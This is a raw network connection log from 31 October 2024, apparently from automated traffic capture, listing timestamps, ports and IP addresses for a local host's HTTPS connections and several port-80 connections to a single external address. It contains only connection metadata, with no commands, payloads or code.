Oct 31, 2024 01:18:29.788388014 CET	443	49767	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:29.791203022 CET	49775	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:29.791244030 CET	443	49775	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:29.791333914 CET	49775	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:29.791520119 CET	49775	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:29.791532040 CET	443	49775	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:29.885282040 CET	443	49770	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:29.885445118 CET	443	49770	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:29.885659933 CET	49770	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:29.885659933 CET	49770	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:29.885781050 CET	49770	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:29.885787964 CET	443	49770	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:29.888987064 CET	49776	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:29.889018059 CET	443	49776	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:29.889133930 CET	49776	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:29.889297962 CET	49776	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:29.889322042 CET	443	49776	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:30.002666950 CET	443	49772	184.28.90.27	192.168.2.5
Oct 31, 2024 01:18:30.002955914 CET	49772	443	192.168.2.5	184.28.90.27
Oct 31, 2024 01:18:30.004381895 CET	49772	443	192.168.2.5	184.28.90.27
Oct 31, 2024 01:18:30.004390001 CET	443	49772	184.28.90.27	192.168.2.5
Oct 31, 2024 01:18:30.004611969 CET	443	49772	184.28.90.27	192.168.2.5
Oct 31, 2024 01:18:30.010030985 CET	49772	443	192.168.2.5	184.28.90.27
Oct 31, 2024 01:18:30.055336952 CET	443	49772	184.28.90.27	192.168.2.5
Oct 31, 2024 01:18:30.251291990 CET	443	49772	184.28.90.27	192.168.2.5
Oct 31, 2024 01:18:30.251367092 CET	443	49772	184.28.90.27	192.168.2.5
Oct 31, 2024 01:18:30.251496077 CET	49772	443	192.168.2.5	184.28.90.27
Oct 31, 2024 01:18:30.252940893 CET	49772	443	192.168.2.5	184.28.90.27
Oct 31, 2024 01:18:30.252940893 CET	49772	443	192.168.2.5	184.28.90.27
Oct 31, 2024 01:18:30.252968073 CET	443	49772	184.28.90.27	192.168.2.5
Oct 31, 2024 01:18:30.252979994 CET	443	49772	184.28.90.27	192.168.2.5
Oct 31, 2024 01:18:30.272835016 CET	49777	443	192.168.2.5	142.250.185.110
Oct 31, 2024 01:18:30.272897959 CET	443	49777	142.250.185.110	192.168.2.5
Oct 31, 2024 01:18:30.273365021 CET	49777	443	192.168.2.5	142.250.185.110
Oct 31, 2024 01:18:30.273686886 CET	49777	443	192.168.2.5	142.250.185.110
Oct 31, 2024 01:18:30.273715973 CET	443	49777	142.250.185.110	192.168.2.5
Oct 31, 2024 01:18:30.490083933 CET	443	49773	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:30.494093895 CET	49773	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:30.494115114 CET	443	49773	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:30.494728088 CET	49773	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:30.494736910 CET	443	49773	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:30.516506910 CET	443	49774	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:30.517998934 CET	49774	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:30.518019915 CET	443	49774	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:30.518955946 CET	49774	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:30.518965006 CET	443	49774	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:30.527059078 CET	443	49775	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:30.527605057 CET	49775	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:30.527631044 CET	443	49775	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:30.528151989 CET	49775	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:30.528156996 CET	443	49775	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:30.619256973 CET	443	49773	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:30.619678974 CET	443	49773	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:30.619781971 CET	49773	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:30.619867086 CET	49773	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:30.619887114 CET	443	49773	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:30.619920969 CET	49773	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:30.619927883 CET	443	49773	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:30.624461889 CET	49778	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:30.624502897 CET	443	49778	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:30.624718904 CET	49778	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:30.624986887 CET	49778	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:30.625003099 CET	443	49778	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:30.636324883 CET	443	49776	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:30.637478113 CET	49776	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:30.637478113 CET	49776	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:30.637495041 CET	443	49776	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:30.637511969 CET	443	49776	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:30.647578955 CET	443	49774	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:30.647866964 CET	443	49774	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:30.648040056 CET	49774	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:30.648086071 CET	49774	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:30.648086071 CET	49774	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:30.648096085 CET	443	49774	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:30.648102999 CET	443	49774	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:30.651887894 CET	49779	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:30.651907921 CET	443	49779	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:30.652159929 CET	49779	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:30.652439117 CET	49779	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:30.652447939 CET	443	49779	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:30.658165932 CET	443	49775	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:30.658422947 CET	443	49775	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:30.658535004 CET	49775	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:30.658946991 CET	49775	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:30.658960104 CET	443	49775	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:30.659017086 CET	49775	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:30.659023046 CET	443	49775	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:30.662003994 CET	49780	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:30.662031889 CET	443	49780	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:30.663248062 CET	49780	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:30.664381981 CET	49780	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:30.664397001 CET	443	49780	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:30.768068075 CET	443	49776	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:30.770243883 CET	443	49776	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:30.770467997 CET	49776	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:30.770685911 CET	49776	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:30.770685911 CET	49776	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:30.770699024 CET	443	49776	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:30.770709038 CET	443	49776	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:30.774842024 CET	49781	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:30.774858952 CET	443	49781	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:30.774950027 CET	49781	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:30.775650024 CET	49781	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:30.775660038 CET	443	49781	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:30.944363117 CET	443	49766	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:30.979156971 CET	49766	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:30.979185104 CET	443	49766	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:30.979743958 CET	49766	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:30.979749918 CET	443	49766	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:30.996849060 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:30.997329950 CET	49783	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:31.002142906 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:31.002464056 CET	80	49783	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:31.002530098 CET	49783	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:31.036317110 CET	49783	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:31.036581993 CET	49783	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:31.041543961 CET	80	49783	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:31.041557074 CET	80	49783	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:31.111316919 CET	443	49766	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:31.111459970 CET	443	49766	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:31.111730099 CET	49766	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:31.118999958 CET	443	49777	142.250.185.110	192.168.2.5
Oct 31, 2024 01:18:31.126837969 CET	49777	443	192.168.2.5	142.250.185.110
Oct 31, 2024 01:18:31.126849890 CET	443	49777	142.250.185.110	192.168.2.5
Oct 31, 2024 01:18:31.127165079 CET	443	49777	142.250.185.110	192.168.2.5
Oct 31, 2024 01:18:31.127274990 CET	49777	443	192.168.2.5	142.250.185.110
Oct 31, 2024 01:18:31.127764940 CET	443	49777	142.250.185.110	192.168.2.5
Oct 31, 2024 01:18:31.127825975 CET	49777	443	192.168.2.5	142.250.185.110
Oct 31, 2024 01:18:31.130376101 CET	49777	443	192.168.2.5	142.250.185.110
Oct 31, 2024 01:18:31.130439997 CET	443	49777	142.250.185.110	192.168.2.5
Oct 31, 2024 01:18:31.130713940 CET	49777	443	192.168.2.5	142.250.185.110
Oct 31, 2024 01:18:31.130723000 CET	443	49777	142.250.185.110	192.168.2.5
Oct 31, 2024 01:18:31.130780935 CET	49777	443	192.168.2.5	142.250.185.110
Oct 31, 2024 01:18:31.169301987 CET	49766	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:31.169322014 CET	443	49766	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:31.169337034 CET	49766	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:31.169343948 CET	443	49766	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:31.171333075 CET	443	49777	142.250.185.110	192.168.2.5
Oct 31, 2024 01:18:31.173814058 CET	49777	443	192.168.2.5	142.250.185.110
Oct 31, 2024 01:18:31.189718962 CET	49784	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:31.189774036 CET	443	49784	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:31.189945936 CET	49784	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:31.355453968 CET	443	49778	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:31.378067970 CET	443	49779	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:31.394901037 CET	49778	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:31.399488926 CET	443	49780	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:31.423799038 CET	49779	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:31.437817097 CET	443	49777	142.250.185.110	192.168.2.5
Oct 31, 2024 01:18:31.439464092 CET	49780	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:31.460881948 CET	49780	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:31.460890055 CET	443	49780	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:31.461385012 CET	49780	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:31.461390972 CET	443	49780	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:31.461631060 CET	49784	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:31.461654902 CET	443	49784	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:31.465173006 CET	49778	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:31.465184927 CET	443	49778	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:31.465611935 CET	49778	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:31.465617895 CET	443	49778	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:31.465934992 CET	49779	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:31.465941906 CET	443	49779	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:31.466295958 CET	49779	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:31.466299057 CET	443	49779	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:31.486399889 CET	49777	443	192.168.2.5	142.250.185.110
Oct 31, 2024 01:18:31.486409903 CET	443	49777	142.250.185.110	192.168.2.5
Oct 31, 2024 01:18:31.512873888 CET	49777	443	192.168.2.5	142.250.185.110
Oct 31, 2024 01:18:31.512914896 CET	443	49777	142.250.185.110	192.168.2.5
Oct 31, 2024 01:18:31.512988091 CET	49777	443	192.168.2.5	142.250.185.110
Oct 31, 2024 01:18:31.527967930 CET	443	49781	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:31.571091890 CET	49781	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:31.571108103 CET	443	49781	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:31.571855068 CET	49781	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:31.571860075 CET	443	49781	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:31.589550018 CET	443	49780	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:31.589598894 CET	443	49780	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:31.589729071 CET	49780	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:31.591281891 CET	443	49779	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:31.591418028 CET	443	49779	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:31.591509104 CET	49779	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:31.594585896 CET	443	49778	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:31.594799995 CET	443	49778	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:31.594862938 CET	49778	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:31.596919060 CET	49780	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:31.596942902 CET	443	49780	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:31.596956015 CET	49780	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:31.596965075 CET	443	49780	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:31.604779959 CET	49779	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:31.604789972 CET	443	49779	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:31.604799986 CET	49779	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:31.604804993 CET	443	49779	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:31.612112045 CET	49778	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:31.612112045 CET	49778	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:31.612133026 CET	443	49778	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:31.612143040 CET	443	49778	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:31.635387897 CET	49785	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:31.635411978 CET	443	49785	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:31.635476112 CET	49785	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:31.635708094 CET	49785	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:31.635719061 CET	443	49785	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:31.661053896 CET	49786	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:31.661094904 CET	443	49786	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:31.661153078 CET	49786	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:31.662625074 CET	49787	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:31.662633896 CET	443	49787	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:31.662689924 CET	49787	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:31.664185047 CET	49786	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:31.664201021 CET	443	49786	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:31.664773941 CET	49787	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:31.664783955 CET	443	49787	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:31.699414968 CET	443	49781	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:31.699594021 CET	443	49781	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:31.699660063 CET	49781	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:31.699779987 CET	49781	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:31.699784994 CET	443	49781	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:31.699796915 CET	49781	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:31.699800968 CET	443	49781	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:31.703331947 CET	49788	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:31.703356981 CET	443	49788	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:31.703443050 CET	49788	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:31.703680992 CET	49788	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:31.703690052 CET	443	49788	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:32.199486971 CET	443	49784	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:32.200012922 CET	49784	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:32.200046062 CET	443	49784	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:32.200532913 CET	49784	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:32.200544119 CET	443	49784	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:32.367271900 CET	443	49785	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:32.367862940 CET	49785	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:32.367885113 CET	443	49785	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:32.368443012 CET	49785	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:32.368447065 CET	443	49785	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:32.400405884 CET	443	49787	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:32.401165962 CET	49787	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:32.401179075 CET	443	49787	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:32.402025938 CET	49787	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:32.402029991 CET	443	49787	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:32.403371096 CET	80	49783	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:32.403431892 CET	49783	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:32.406646967 CET	443	49786	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:32.408337116 CET	49786	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:32.408366919 CET	443	49786	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:32.408822060 CET	49786	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:32.408827066 CET	443	49786	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:32.438076973 CET	443	49788	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:32.438636065 CET	49788	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:32.438657045 CET	443	49788	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:32.439182997 CET	49788	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:32.439186096 CET	443	49788	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:32.499588966 CET	443	49785	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:32.499643087 CET	443	49785	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:32.499685049 CET	49785	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:32.499918938 CET	49785	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:32.499937057 CET	443	49785	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:32.499969006 CET	49785	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:32.499978065 CET	443	49785	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:32.503787994 CET	49789	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:32.503834963 CET	443	49789	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:32.503890038 CET	49789	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:32.504157066 CET	49789	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:32.504170895 CET	443	49789	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:32.519964933 CET	443	49784	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:32.520838022 CET	443	49784	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:32.521554947 CET	49784	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:32.521693945 CET	49784	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:32.521712065 CET	443	49784	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:32.521723986 CET	49784	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:32.521729946 CET	443	49784	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:32.523874044 CET	49790	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:32.523904085 CET	443	49790	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:32.523988008 CET	49790	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:32.524167061 CET	49790	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:32.524174929 CET	443	49790	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:32.527076006 CET	49743	443	192.168.2.5	142.250.185.132
Oct 31, 2024 01:18:32.533207893 CET	443	49787	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:32.533518076 CET	443	49787	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:32.533567905 CET	49787	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:32.533757925 CET	49787	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:32.533762932 CET	443	49787	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:32.533771038 CET	49787	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:32.533773899 CET	443	49787	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:32.535069942 CET	49783	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:32.536276102 CET	49791	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:32.536290884 CET	443	49791	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:32.537009954 CET	49791	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:32.537188053 CET	49791	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:32.537198067 CET	443	49791	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:32.539266109 CET	443	49786	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:32.539707899 CET	443	49786	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:32.539748907 CET	49786	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:32.539768934 CET	49786	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:32.539774895 CET	443	49786	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:32.539783955 CET	49786	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:32.539788008 CET	443	49786	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:32.539942026 CET	80	49783	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:32.541846991 CET	49792	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:32.541868925 CET	443	49792	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:32.541934967 CET	49792	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:32.542097092 CET	49792	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:32.542114019 CET	443	49792	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:32.568981886 CET	443	49788	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:32.569080114 CET	443	49788	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:32.569130898 CET	49788	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:32.569314957 CET	49788	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:32.569329977 CET	443	49788	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:32.569349051 CET	49788	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:32.569354057 CET	443	49788	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:32.571897030 CET	49793	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:32.571927071 CET	443	49793	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:32.571991920 CET	49793	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:32.572129965 CET	49793	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:32.572139978 CET	443	49793	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:33.234297037 CET	443	49789	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:33.235205889 CET	49789	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:33.235301018 CET	443	49789	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:33.235708952 CET	49789	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:33.235723019 CET	443	49789	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:33.256428957 CET	443	49790	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:33.256947041 CET	49790	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:33.257025957 CET	443	49790	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:33.257431030 CET	49790	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:33.257445097 CET	443	49790	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:33.271754026 CET	443	49791	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:33.272389889 CET	49791	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:33.272406101 CET	443	49791	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:33.272835970 CET	49791	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:33.272841930 CET	443	49791	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:33.277466059 CET	443	49792	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:33.277838945 CET	49792	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:33.277857065 CET	443	49792	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:33.278368950 CET	49792	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:33.278374910 CET	443	49792	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:33.297679901 CET	443	49793	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:33.298310041 CET	49793	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:33.298336983 CET	443	49793	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:33.299585104 CET	49793	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:33.299590111 CET	443	49793	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:33.306713104 CET	80	49783	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:33.306993008 CET	49783	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:33.365521908 CET	443	49789	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:33.365746975 CET	443	49789	13.107.246.45	192.168.2.5
